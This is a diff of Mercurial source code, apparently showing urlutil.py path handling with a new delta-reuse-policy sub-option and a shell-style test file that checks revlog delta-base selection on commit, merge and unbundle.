571 raise error.Abort(msg)
575 raise error.Abort(msg)
572 return pull_paths[0]
576 return pull_paths[0]
573
577
574
578
575 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
579 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
576 """return a unique `(url, branch)` or abort if multiple are found
580 """return a unique `(url, branch)` or abort if multiple are found
577
581
578 See `get_unique_pull_path_obj` for details.
582 See `get_unique_pull_path_obj` for details.
579 """
583 """
580 path = get_unique_pull_path_obj(action, ui, source=source)
584 path = get_unique_pull_path_obj(action, ui, source=source)
581 return parseurl(path.rawloc, default_branches)
585 return parseurl(path.rawloc, default_branches)
582
586
583
587
584 def get_clone_path_obj(ui, source):
588 def get_clone_path_obj(ui, source):
585 """return the `(origsource, url, branch)` selected as clone source"""
589 """return the `(origsource, url, branch)` selected as clone source"""
586 if source == b'':
590 if source == b'':
587 return None
591 return None
588 return get_unique_pull_path_obj(b'clone', ui, source=source)
592 return get_unique_pull_path_obj(b'clone', ui, source=source)
589
593
590
594
591 def get_clone_path(ui, source, default_branches=None):
595 def get_clone_path(ui, source, default_branches=None):
592 """return the `(origsource, url, branch)` selected as clone source"""
596 """return the `(origsource, url, branch)` selected as clone source"""
593 path = get_clone_path_obj(ui, source)
597 path = get_clone_path_obj(ui, source)
594 if path is None:
598 if path is None:
595 return (b'', b'', (None, default_branches))
599 return (b'', b'', (None, default_branches))
596 if default_branches is None:
600 if default_branches is None:
597 default_branches = []
601 default_branches = []
598 branches = (path.branch, default_branches)
602 branches = (path.branch, default_branches)
599 return path.rawloc, path.loc, branches
603 return path.rawloc, path.loc, branches
600
604
601
605
602 def parseurl(path, branches=None):
606 def parseurl(path, branches=None):
603 '''parse url#branch, returning (url, (branch, branches))'''
607 '''parse url#branch, returning (url, (branch, branches))'''
604 u = url(path)
608 u = url(path)
605 branch = None
609 branch = None
606 if u.fragment:
610 if u.fragment:
607 branch = u.fragment
611 branch = u.fragment
608 u.fragment = None
612 u.fragment = None
609 return bytes(u), (branch, branches or [])
613 return bytes(u), (branch, branches or [])
610
614
611
615
612 class paths(dict):
616 class paths(dict):
613 """Represents a collection of paths and their configs.
617 """Represents a collection of paths and their configs.
614
618
615 Data is initially derived from ui instances and the config files they have
619 Data is initially derived from ui instances and the config files they have
616 loaded.
620 loaded.
617 """
621 """
618
622
619 def __init__(self, ui):
623 def __init__(self, ui):
620 dict.__init__(self)
624 dict.__init__(self)
621
625
622 home_path = os.path.expanduser(b'~')
626 home_path = os.path.expanduser(b'~')
623
627
624 for name, value in ui.configitems(b'paths', ignoresub=True):
628 for name, value in ui.configitems(b'paths', ignoresub=True):
625 # No location is the same as not existing.
629 # No location is the same as not existing.
626 if not value:
630 if not value:
627 continue
631 continue
628 _value, sub_opts = ui.configsuboptions(b'paths', name)
632 _value, sub_opts = ui.configsuboptions(b'paths', name)
629 s = ui.configsource(b'paths', name)
633 s = ui.configsource(b'paths', name)
630 root_key = (name, value, s)
634 root_key = (name, value, s)
631 root = ui._path_to_root.get(root_key, home_path)
635 root = ui._path_to_root.get(root_key, home_path)
632
636
633 multi_url = sub_opts.get(b'multi-urls')
637 multi_url = sub_opts.get(b'multi-urls')
634 if multi_url is not None and stringutil.parsebool(multi_url):
638 if multi_url is not None and stringutil.parsebool(multi_url):
635 base_locs = stringutil.parselist(value)
639 base_locs = stringutil.parselist(value)
636 else:
640 else:
637 base_locs = [value]
641 base_locs = [value]
638
642
639 paths = []
643 paths = []
640 for loc in base_locs:
644 for loc in base_locs:
641 loc = os.path.expandvars(loc)
645 loc = os.path.expandvars(loc)
642 loc = os.path.expanduser(loc)
646 loc = os.path.expanduser(loc)
643 if not hasscheme(loc) and not os.path.isabs(loc):
647 if not hasscheme(loc) and not os.path.isabs(loc):
644 loc = os.path.normpath(os.path.join(root, loc))
648 loc = os.path.normpath(os.path.join(root, loc))
645 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
649 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
646 paths.append(p)
650 paths.append(p)
647 self[name] = paths
651 self[name] = paths
648
652
649 for name, old_paths in sorted(self.items()):
653 for name, old_paths in sorted(self.items()):
650 new_paths = []
654 new_paths = []
651 for p in old_paths:
655 for p in old_paths:
652 new_paths.extend(_chain_path(p, ui, self))
656 new_paths.extend(_chain_path(p, ui, self))
653 self[name] = new_paths
657 self[name] = new_paths
654
658
655 def getpath(self, ui, name, default=None):
659 def getpath(self, ui, name, default=None):
656 """Return a ``path`` from a string, falling back to default.
660 """Return a ``path`` from a string, falling back to default.
657
661
658 ``name`` can be a named path or locations. Locations are filesystem
662 ``name`` can be a named path or locations. Locations are filesystem
659 paths or URIs.
663 paths or URIs.
660
664
661 Returns None if ``name`` is not a registered path, a URI, or a local
665 Returns None if ``name`` is not a registered path, a URI, or a local
662 path to a repo.
666 path to a repo.
663 """
667 """
664 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
668 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
665 ui.deprecwarn(msg, b'6.0')
669 ui.deprecwarn(msg, b'6.0')
666 # Only fall back to default if no path was requested.
670 # Only fall back to default if no path was requested.
667 if name is None:
671 if name is None:
668 if not default:
672 if not default:
669 default = ()
673 default = ()
670 elif not isinstance(default, (tuple, list)):
674 elif not isinstance(default, (tuple, list)):
671 default = (default,)
675 default = (default,)
672 for k in default:
676 for k in default:
673 try:
677 try:
674 return self[k][0]
678 return self[k][0]
675 except KeyError:
679 except KeyError:
676 continue
680 continue
677 return None
681 return None
678
682
679 # Most likely empty string.
683 # Most likely empty string.
680 # This may need to raise in the future.
684 # This may need to raise in the future.
681 if not name:
685 if not name:
682 return None
686 return None
683 if name in self:
687 if name in self:
684 return self[name][0]
688 return self[name][0]
685 else:
689 else:
686 # Try to resolve as a local path or URI.
690 # Try to resolve as a local path or URI.
687 path = try_path(ui, name)
691 path = try_path(ui, name)
688 if path is None:
692 if path is None:
689 raise error.RepoError(_(b'repository %s does not exist') % name)
693 raise error.RepoError(_(b'repository %s does not exist') % name)
690 return path.rawloc
694 return path.rawloc
691
695
692
696
693 _pathsuboptions = {}
697 _pathsuboptions = {}
694
698
695
699
696 def pathsuboption(option, attr):
700 def pathsuboption(option, attr):
697 """Decorator used to declare a path sub-option.
701 """Decorator used to declare a path sub-option.
698
702
699 Arguments are the sub-option name and the attribute it should set on
703 Arguments are the sub-option name and the attribute it should set on
700 ``path`` instances.
704 ``path`` instances.
701
705
702 The decorated function will receive as arguments a ``ui`` instance,
706 The decorated function will receive as arguments a ``ui`` instance,
703 ``path`` instance, and the string value of this option from the config.
707 ``path`` instance, and the string value of this option from the config.
704 The function should return the value that will be set on the ``path``
708 The function should return the value that will be set on the ``path``
705 instance.
709 instance.
706
710
707 This decorator can be used to perform additional verification of
711 This decorator can be used to perform additional verification of
708 sub-options and to change the type of sub-options.
712 sub-options and to change the type of sub-options.
709 """
713 """
710
714
711 def register(func):
715 def register(func):
712 _pathsuboptions[option] = (attr, func)
716 _pathsuboptions[option] = (attr, func)
713 return func
717 return func
714
718
715 return register
719 return register
716
720
717
721
718 @pathsuboption(b'pushurl', b'_pushloc')
722 @pathsuboption(b'pushurl', b'_pushloc')
719 def pushurlpathoption(ui, path, value):
723 def pushurlpathoption(ui, path, value):
720 u = url(value)
724 u = url(value)
721 # Actually require a URL.
725 # Actually require a URL.
722 if not u.scheme:
726 if not u.scheme:
723 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
727 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
724 msg %= (path.name, value)
728 msg %= (path.name, value)
725 ui.warn(msg)
729 ui.warn(msg)
726 return None
730 return None
727
731
728 # Don't support the #foo syntax in the push URL to declare branch to
732 # Don't support the #foo syntax in the push URL to declare branch to
729 # push.
733 # push.
730 if u.fragment:
734 if u.fragment:
731 ui.warn(
735 ui.warn(
732 _(
736 _(
733 b'("#fragment" in paths.%s:pushurl not supported; '
737 b'("#fragment" in paths.%s:pushurl not supported; '
734 b'ignoring)\n'
738 b'ignoring)\n'
735 )
739 )
736 % path.name
740 % path.name
737 )
741 )
738 u.fragment = None
742 u.fragment = None
739
743
740 return bytes(u)
744 return bytes(u)
741
745
742
746
743 @pathsuboption(b'pushrev', b'pushrev')
747 @pathsuboption(b'pushrev', b'pushrev')
744 def pushrevpathoption(ui, path, value):
748 def pushrevpathoption(ui, path, value):
745 return value
749 return value
746
750
747
751
748 SUPPORTED_BOOKMARKS_MODES = {
752 SUPPORTED_BOOKMARKS_MODES = {
749 b'default',
753 b'default',
750 b'mirror',
754 b'mirror',
751 b'ignore',
755 b'ignore',
752 }
756 }
753
757
754
758
755 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
759 @pathsuboption(b'bookmarks.mode', b'bookmarks_mode')
756 def bookmarks_mode_option(ui, path, value):
760 def bookmarks_mode_option(ui, path, value):
757 if value not in SUPPORTED_BOOKMARKS_MODES:
761 if value not in SUPPORTED_BOOKMARKS_MODES:
758 path_name = path.name
762 path_name = path.name
759 if path_name is None:
763 if path_name is None:
760 # this is an "anonymous" path, config comes from the global one
764 # this is an "anonymous" path, config comes from the global one
761 path_name = b'*'
765 path_name = b'*'
762 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
766 msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n')
763 msg %= (path_name, value)
767 msg %= (path_name, value)
764 ui.warn(msg)
768 ui.warn(msg)
765 if value == b'default':
769 if value == b'default':
766 value = None
770 value = None
767 return value
771 return value
768
772
769
773
774 DELTA_REUSE_POLICIES = {
775 b'default': None,
776 b'try-base': revlog_constants.DELTA_BASE_REUSE_TRY,
777 b'no-reuse': revlog_constants.DELTA_BASE_REUSE_NO,
778 }
779
780
781 @pathsuboption(b'delta-reuse-policy', b'delta_reuse_policy')
782 def delta_reuse_policy(ui, path, value):
783 if value not in DELTA_REUSE_POLICIES:
784 path_name = path.name
785 if path_name is None:
786 # this is an "anonymous" path, config comes from the global one
787 path_name = b'*'
788 msg = _(b'(paths.%s:delta-reuse-policy has unknown value: "%s")\n')
789 msg %= (path_name, value)
790 ui.warn(msg)
791 return DELTA_REUSE_POLICIES.get(value)
792
793
770 @pathsuboption(b'multi-urls', b'multi_urls')
794 @pathsuboption(b'multi-urls', b'multi_urls')
771 def multiurls_pathoption(ui, path, value):
795 def multiurls_pathoption(ui, path, value):
772 res = stringutil.parsebool(value)
796 res = stringutil.parsebool(value)
773 if res is None:
797 if res is None:
774 ui.warn(
798 ui.warn(
775 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
799 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
776 )
800 )
777 res = False
801 res = False
778 return res
802 return res
779
803
780
804
781 def _chain_path(base_path, ui, paths):
805 def _chain_path(base_path, ui, paths):
782 """return the result of "path://" logic applied on a given path"""
806 """return the result of "path://" logic applied on a given path"""
783 new_paths = []
807 new_paths = []
784 if base_path.url.scheme != b'path':
808 if base_path.url.scheme != b'path':
785 new_paths.append(base_path)
809 new_paths.append(base_path)
786 else:
810 else:
787 assert base_path.url.path is None
811 assert base_path.url.path is None
788 sub_paths = paths.get(base_path.url.host)
812 sub_paths = paths.get(base_path.url.host)
789 if sub_paths is None:
813 if sub_paths is None:
790 m = _(b'cannot use `%s`, "%s" is not a known path')
814 m = _(b'cannot use `%s`, "%s" is not a known path')
791 m %= (base_path.rawloc, base_path.url.host)
815 m %= (base_path.rawloc, base_path.url.host)
792 raise error.Abort(m)
816 raise error.Abort(m)
793 for subpath in sub_paths:
817 for subpath in sub_paths:
794 path = base_path.copy()
818 path = base_path.copy()
795 if subpath.raw_url.scheme == b'path':
819 if subpath.raw_url.scheme == b'path':
796 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
820 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
797 m %= (path.rawloc, path.url.host)
821 m %= (path.rawloc, path.url.host)
798 raise error.Abort(m)
822 raise error.Abort(m)
799 path.url = subpath.url
823 path.url = subpath.url
800 path.rawloc = subpath.rawloc
824 path.rawloc = subpath.rawloc
801 path.loc = subpath.loc
825 path.loc = subpath.loc
802 if path.branch is None:
826 if path.branch is None:
803 path.branch = subpath.branch
827 path.branch = subpath.branch
804 else:
828 else:
805 base = path.rawloc.rsplit(b'#', 1)[0]
829 base = path.rawloc.rsplit(b'#', 1)[0]
806 path.rawloc = b'%s#%s' % (base, path.branch)
830 path.rawloc = b'%s#%s' % (base, path.branch)
807 suboptions = subpath._all_sub_opts.copy()
831 suboptions = subpath._all_sub_opts.copy()
808 suboptions.update(path._own_sub_opts)
832 suboptions.update(path._own_sub_opts)
809 path._apply_suboptions(ui, suboptions)
833 path._apply_suboptions(ui, suboptions)
810 new_paths.append(path)
834 new_paths.append(path)
811 return new_paths
835 return new_paths
812
836
813
837
814 class path:
838 class path:
815 """Represents an individual path and its configuration."""
839 """Represents an individual path and its configuration."""
816
840
817 def __init__(
841 def __init__(
818 self,
842 self,
819 ui=None,
843 ui=None,
820 name=None,
844 name=None,
821 rawloc=None,
845 rawloc=None,
822 suboptions=None,
846 suboptions=None,
823 validate_path=True,
847 validate_path=True,
824 ):
848 ):
825 """Construct a path from its config options.
849 """Construct a path from its config options.
826
850
827 ``ui`` is the ``ui`` instance the path is coming from.
851 ``ui`` is the ``ui`` instance the path is coming from.
828 ``name`` is the symbolic name of the path.
852 ``name`` is the symbolic name of the path.
829 ``rawloc`` is the raw location, as defined in the config.
853 ``rawloc`` is the raw location, as defined in the config.
830 ``_pushloc`` is the raw locations pushes should be made to.
854 ``_pushloc`` is the raw locations pushes should be made to.
831 (see the `get_push_variant` method)
855 (see the `get_push_variant` method)
832
856
833 If ``name`` is not defined, we require that the location be a) a local
857 If ``name`` is not defined, we require that the location be a) a local
834 filesystem path with a .hg directory or b) a URL. If not,
858 filesystem path with a .hg directory or b) a URL. If not,
835 ``ValueError`` is raised.
859 ``ValueError`` is raised.
836 """
860 """
837 if ui is None:
861 if ui is None:
838 # used in copy
862 # used in copy
839 assert name is None
863 assert name is None
840 assert rawloc is None
864 assert rawloc is None
841 assert suboptions is None
865 assert suboptions is None
842 return
866 return
843
867
844 if not rawloc:
868 if not rawloc:
845 raise ValueError(b'rawloc must be defined')
869 raise ValueError(b'rawloc must be defined')
846
870
847 self.name = name
871 self.name = name
848
872
849 # set by path variant to point to their "non-push" version
873 # set by path variant to point to their "non-push" version
850 self.main_path = None
874 self.main_path = None
851 self._setup_url(rawloc)
875 self._setup_url(rawloc)
852
876
853 if validate_path:
877 if validate_path:
854 self._validate_path()
878 self._validate_path()
855
879
856 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
880 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
857 self._own_sub_opts = {}
881 self._own_sub_opts = {}
858 if suboptions is not None:
882 if suboptions is not None:
859 self._own_sub_opts = suboptions.copy()
883 self._own_sub_opts = suboptions.copy()
860 sub_opts.update(suboptions)
884 sub_opts.update(suboptions)
861 self._all_sub_opts = sub_opts.copy()
885 self._all_sub_opts = sub_opts.copy()
862
886
863 self._apply_suboptions(ui, sub_opts)
887 self._apply_suboptions(ui, sub_opts)
864
888
865 def _setup_url(self, rawloc):
889 def _setup_url(self, rawloc):
866 # Locations may define branches via syntax <base>#<branch>.
890 # Locations may define branches via syntax <base>#<branch>.
867 u = url(rawloc)
891 u = url(rawloc)
868 branch = None
892 branch = None
869 if u.fragment:
893 if u.fragment:
870 branch = u.fragment
894 branch = u.fragment
871 u.fragment = None
895 u.fragment = None
872
896
873 self.url = u
897 self.url = u
874 # the url from the config/command line before dealing with `path://`
898 # the url from the config/command line before dealing with `path://`
875 self.raw_url = u.copy()
899 self.raw_url = u.copy()
876 self.branch = branch
900 self.branch = branch
877
901
878 self.rawloc = rawloc
902 self.rawloc = rawloc
879 self.loc = b'%s' % u
903 self.loc = b'%s' % u
880
904
881 def copy(self, new_raw_location=None):
905 def copy(self, new_raw_location=None):
882 """make a copy of this path object
906 """make a copy of this path object
883
907
884 When `new_raw_location` is set, the new path will point to it.
908 When `new_raw_location` is set, the new path will point to it.
885 This is used by the scheme extension so expand the scheme.
909 This is used by the scheme extension so expand the scheme.
886 """
910 """
887 new = self.__class__()
911 new = self.__class__()
888 for k, v in self.__dict__.items():
912 for k, v in self.__dict__.items():
889 new_copy = getattr(v, 'copy', None)
913 new_copy = getattr(v, 'copy', None)
890 if new_copy is not None:
914 if new_copy is not None:
891 v = new_copy()
915 v = new_copy()
892 new.__dict__[k] = v
916 new.__dict__[k] = v
893 if new_raw_location is not None:
917 if new_raw_location is not None:
894 new._setup_url(new_raw_location)
918 new._setup_url(new_raw_location)
895 return new
919 return new
896
920
897 @property
921 @property
898 def is_push_variant(self):
922 def is_push_variant(self):
899 """is this a path variant to be used for pushing"""
923 """is this a path variant to be used for pushing"""
900 return self.main_path is not None
924 return self.main_path is not None
901
925
902 def get_push_variant(self):
926 def get_push_variant(self):
903 """get a "copy" of the path, but suitable for pushing
927 """get a "copy" of the path, but suitable for pushing
904
928
905 This means using the value of the `pushurl` option (if any) as the url.
929 This means using the value of the `pushurl` option (if any) as the url.
906
930
907 The original path is available in the `main_path` attribute.
931 The original path is available in the `main_path` attribute.
908 """
932 """
909 if self.main_path:
933 if self.main_path:
910 return self
934 return self
911 new = self.copy()
935 new = self.copy()
912 new.main_path = self
936 new.main_path = self
913 if self._pushloc:
937 if self._pushloc:
914 new._setup_url(self._pushloc)
938 new._setup_url(self._pushloc)
915 return new
939 return new
916
940
917 def pushloc(self):
941 def pushloc(self):
918 """compatibility layer for the deprecated attributes"""
942 """compatibility layer for the deprecated attributes"""
919 from .. import util # avoid a cycle
943 from .. import util # avoid a cycle
920
944
921 msg = "don't use path.pushloc, use path.get_push_variant()"
945 msg = "don't use path.pushloc, use path.get_push_variant()"
922 util.nouideprecwarn(msg, b"6.5")
946 util.nouideprecwarn(msg, b"6.5")
923 return self._pushloc
947 return self._pushloc
924
948
925 def _validate_path(self):
949 def _validate_path(self):
926 # When given a raw location but not a symbolic name, validate the
950 # When given a raw location but not a symbolic name, validate the
927 # location is valid.
951 # location is valid.
928 if (
952 if (
929 not self.name
953 not self.name
930 and not self.url.scheme
954 and not self.url.scheme
931 and not self._isvalidlocalpath(self.loc)
955 and not self._isvalidlocalpath(self.loc)
932 ):
956 ):
933 raise ValueError(
957 raise ValueError(
934 b'location is not a URL or path to a local '
958 b'location is not a URL or path to a local '
935 b'repo: %s' % self.rawloc
959 b'repo: %s' % self.rawloc
936 )
960 )
937
961
938 def _apply_suboptions(self, ui, sub_options):
962 def _apply_suboptions(self, ui, sub_options):
939 # Now process the sub-options. If a sub-option is registered, its
963 # Now process the sub-options. If a sub-option is registered, its
940 # attribute will always be present. The value will be None if there
964 # attribute will always be present. The value will be None if there
941 # was no valid sub-option.
965 # was no valid sub-option.
942 for suboption, (attr, func) in _pathsuboptions.items():
966 for suboption, (attr, func) in _pathsuboptions.items():
943 if suboption not in sub_options:
967 if suboption not in sub_options:
944 setattr(self, attr, None)
968 setattr(self, attr, None)
945 continue
969 continue
946
970
947 value = func(ui, self, sub_options[suboption])
971 value = func(ui, self, sub_options[suboption])
948 setattr(self, attr, value)
972 setattr(self, attr, value)
949
973
950 def _isvalidlocalpath(self, path):
974 def _isvalidlocalpath(self, path):
951 """Returns True if the given path is a potentially valid repository.
975 """Returns True if the given path is a potentially valid repository.
952 This is its own function so that extensions can change the definition of
976 This is its own function so that extensions can change the definition of
953 'valid' in this case (like when pulling from a git repo into a hg
977 'valid' in this case (like when pulling from a git repo into a hg
954 one)."""
978 one)."""
955 try:
979 try:
956 return os.path.isdir(os.path.join(path, b'.hg'))
980 return os.path.isdir(os.path.join(path, b'.hg'))
957 # Python 2 may return TypeError. Python 3, ValueError.
981 # Python 2 may return TypeError. Python 3, ValueError.
958 except (TypeError, ValueError):
982 except (TypeError, ValueError):
959 return False
983 return False
960
984
961 @property
985 @property
962 def suboptions(self):
986 def suboptions(self):
963 """Return sub-options and their values for this path.
987 """Return sub-options and their values for this path.
964
988
965 This is intended to be used for presentation purposes.
989 This is intended to be used for presentation purposes.
966 """
990 """
967 d = {}
991 d = {}
968 for subopt, (attr, _func) in _pathsuboptions.items():
992 for subopt, (attr, _func) in _pathsuboptions.items():
969 value = getattr(self, attr)
993 value = getattr(self, attr)
970 if value is not None:
994 if value is not None:
971 d[subopt] = value
995 d[subopt] = value
972 return d
996 return d
@@ -1,193 +1,262 b''
1 ==========================================================
1 ==========================================================
2 Test various things around delta computation within revlog
2 Test various things around delta computation within revlog
3 ==========================================================
3 ==========================================================
4
4
5
5
6 basic setup
6 basic setup
7 -----------
7 -----------
8
8
9 $ cat << EOF >> $HGRCPATH
9 $ cat << EOF >> $HGRCPATH
10 > [debug]
10 > [debug]
11 > revlog.debug-delta=yes
11 > revlog.debug-delta=yes
12 > EOF
12 > EOF
13 $ cat << EOF >> sha256line.py
13 $ cat << EOF >> sha256line.py
14 > # a way to quickly produce file of significant size and poorly compressable content.
14 > # a way to quickly produce file of significant size and poorly compressable content.
15 > import hashlib
15 > import hashlib
16 > import sys
16 > import sys
17 > for line in sys.stdin:
17 > for line in sys.stdin:
18 > print(hashlib.sha256(line.encode('utf8')).hexdigest())
18 > print(hashlib.sha256(line.encode('utf8')).hexdigest())
19 > EOF
19 > EOF
20
20
21 $ hg init base-repo
21 $ hg init base-repo
22 $ cd base-repo
22 $ cd base-repo
23
23
24 create a "large" file
24 create a "large" file
25
25
26 $ $TESTDIR/seq.py 1000 | $PYTHON $TESTTMP/sha256line.py > my-file.txt
26 $ $TESTDIR/seq.py 1000 | $PYTHON $TESTTMP/sha256line.py > my-file.txt
27 $ hg add my-file.txt
27 $ hg add my-file.txt
28 $ hg commit -m initial-commit
28 $ hg commit -m initial-commit
29 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
29 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
30 DBG-DELTAS: MANIFESTLOG: * (glob)
30 DBG-DELTAS: MANIFESTLOG: * (glob)
31 DBG-DELTAS: CHANGELOG: * (glob)
31 DBG-DELTAS: CHANGELOG: * (glob)
32
32
33 Add more change at the end of the file
33 Add more change at the end of the file
34
34
35 $ $TESTDIR/seq.py 1001 1200 | $PYTHON $TESTTMP/sha256line.py >> my-file.txt
35 $ $TESTDIR/seq.py 1001 1200 | $PYTHON $TESTTMP/sha256line.py >> my-file.txt
36 $ hg commit -m "large-change"
36 $ hg commit -m "large-change"
37 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
37 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
38 DBG-DELTAS: MANIFESTLOG: * (glob)
38 DBG-DELTAS: MANIFESTLOG: * (glob)
39 DBG-DELTAS: CHANGELOG: * (glob)
39 DBG-DELTAS: CHANGELOG: * (glob)
40
40
41 Add small change at the start
41 Add small change at the start
42
42
43 $ hg up 'desc("initial-commit")' --quiet
43 $ hg up 'desc("initial-commit")' --quiet
44 $ mv my-file.txt foo
44 $ mv my-file.txt foo
45 $ echo "small change at the start" > my-file.txt
45 $ echo "small change at the start" > my-file.txt
46 $ cat foo >> my-file.txt
46 $ cat foo >> my-file.txt
47 $ rm foo
47 $ rm foo
48 $ hg commit -m "small-change"
48 $ hg commit -m "small-change"
49 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
49 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
50 DBG-DELTAS: MANIFESTLOG: * (glob)
50 DBG-DELTAS: MANIFESTLOG: * (glob)
51 DBG-DELTAS: CHANGELOG: * (glob)
51 DBG-DELTAS: CHANGELOG: * (glob)
52 created new head
52 created new head
53
53
54
54
55 $ hg log -r 'head()' -T '{node}\n' >> ../base-heads.nodes
55 $ hg log -r 'head()' -T '{node}\n' >> ../base-heads.nodes
56 $ hg log -r 'desc("initial-commit")' -T '{node}\n' >> ../initial.node
56 $ hg log -r 'desc("initial-commit")' -T '{node}\n' >> ../initial.node
57 $ hg log -r 'desc("small-change")' -T '{node}\n' >> ../small.node
57 $ hg log -r 'desc("small-change")' -T '{node}\n' >> ../small.node
58 $ hg log -r 'desc("large-change")' -T '{node}\n' >> ../large.node
58 $ hg log -r 'desc("large-change")' -T '{node}\n' >> ../large.node
59 $ cd ..
59 $ cd ..
60
60
61 Check delta find policy and result for merge on commit
61 Check delta find policy and result for merge on commit
62 ======================================================
62 ======================================================
63
63
64 Check that delta of merge pick best of the two parents
64 Check that delta of merge pick best of the two parents
65 ------------------------------------------------------
65 ------------------------------------------------------
66
66
67 As we check against both parents, the one with the largest change should
67 As we check against both parents, the one with the largest change should
68 produce the smallest delta and be picked.
68 produce the smallest delta and be picked.
69
69
70 $ hg clone base-repo test-parents --quiet
70 $ hg clone base-repo test-parents --quiet
71 $ hg -R test-parents update 'nodefromfile("small.node")' --quiet
71 $ hg -R test-parents update 'nodefromfile("small.node")' --quiet
72 $ hg -R test-parents merge 'nodefromfile("large.node")' --quiet
72 $ hg -R test-parents merge 'nodefromfile("large.node")' --quiet
73
73
74 The delta base is the "large" revision as it produce a smaller delta.
74 The delta base is the "large" revision as it produce a smaller delta.
75
75
76 $ hg -R test-parents commit -m "merge from small change"
76 $ hg -R test-parents commit -m "merge from small change"
77 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
77 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=1 * (glob)
78 DBG-DELTAS: MANIFESTLOG: * (glob)
78 DBG-DELTAS: MANIFESTLOG: * (glob)
79 DBG-DELTAS: CHANGELOG: * (glob)
79 DBG-DELTAS: CHANGELOG: * (glob)
80
80
81 Check that the behavior tested above can we disabled
81 Check that the behavior tested above can we disabled
82 ----------------------------------------------------
82 ----------------------------------------------------
83
83
84 We disable the checking of both parent at the same time. The `small` change,
84 We disable the checking of both parent at the same time. The `small` change,
85 that produce a less optimal delta, should be picked first as it is "closer" to
85 that produce a less optimal delta, should be picked first as it is "closer" to
86 the new commit.
86 the new commit.
87
87
88 $ hg clone base-repo test-no-parents --quiet
88 $ hg clone base-repo test-no-parents --quiet
89 $ hg -R test-no-parents update 'nodefromfile("small.node")' --quiet
89 $ hg -R test-no-parents update 'nodefromfile("small.node")' --quiet
90 $ hg -R test-no-parents merge 'nodefromfile("large.node")' --quiet
90 $ hg -R test-no-parents merge 'nodefromfile("large.node")' --quiet
91
91
92 The delta base is the "large" revision as it produce a smaller delta.
92 The delta base is the "large" revision as it produce a smaller delta.
93
93
94 $ hg -R test-no-parents commit -m "merge from small change" \
94 $ hg -R test-no-parents commit -m "merge from small change" \
95 > --config storage.revlog.optimize-delta-parent-choice=no
95 > --config storage.revlog.optimize-delta-parent-choice=no
96 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
96 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
97 DBG-DELTAS: MANIFESTLOG: * (glob)
97 DBG-DELTAS: MANIFESTLOG: * (glob)
98 DBG-DELTAS: CHANGELOG: * (glob)
98 DBG-DELTAS: CHANGELOG: * (glob)
99
99
100
100
101 Check delta-find policy and result when unbundling
101 Check delta-find policy and result when unbundling
102 ==================================================
102 ==================================================
103
103
104 Build a bundle with all delta built against p1
104 Build a bundle with all delta built against p1
105
105
106 $ hg bundle -R test-parents --all --config devel.bundle.delta=p1 all-p1.hg
106 $ hg bundle -R test-parents --all --config devel.bundle.delta=p1 all-p1.hg
107 4 changesets found
107 4 changesets found
108
108
109 Default policy of trusting delta from the bundle
109 Default policy of trusting delta from the bundle
110 ------------------------------------------------
110 ------------------------------------------------
111
111
112 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
112 Keeping the `p1` delta used in the bundle is sub-optimal for storage, but
113 strusting in-bundle delta is faster to apply.
113 strusting in-bundle delta is faster to apply.
114
114
115 $ hg init bundle-default
115 $ hg init bundle-default
116 $ hg -R bundle-default unbundle all-p1.hg --quiet
116 $ hg -R bundle-default unbundle all-p1.hg --quiet
117 DBG-DELTAS: CHANGELOG: * (glob)
117 DBG-DELTAS: CHANGELOG: * (glob)
118 DBG-DELTAS: CHANGELOG: * (glob)
118 DBG-DELTAS: CHANGELOG: * (glob)
119 DBG-DELTAS: CHANGELOG: * (glob)
119 DBG-DELTAS: CHANGELOG: * (glob)
120 DBG-DELTAS: CHANGELOG: * (glob)
120 DBG-DELTAS: CHANGELOG: * (glob)
121 DBG-DELTAS: MANIFESTLOG: * (glob)
121 DBG-DELTAS: MANIFESTLOG: * (glob)
122 DBG-DELTAS: MANIFESTLOG: * (glob)
122 DBG-DELTAS: MANIFESTLOG: * (glob)
123 DBG-DELTAS: MANIFESTLOG: * (glob)
123 DBG-DELTAS: MANIFESTLOG: * (glob)
124 DBG-DELTAS: MANIFESTLOG: * (glob)
124 DBG-DELTAS: MANIFESTLOG: * (glob)
125 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
125 DBG-DELTAS: FILELOG:my-file.txt: rev=0: delta-base=0 * (glob)
126 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
126 DBG-DELTAS: FILELOG:my-file.txt: rev=1: delta-base=0 * (glob)
127 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
127 DBG-DELTAS: FILELOG:my-file.txt: rev=2: delta-base=0 * (glob)
128 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
128 DBG-DELTAS: FILELOG:my-file.txt: rev=3: delta-base=2 * (glob)
129
129
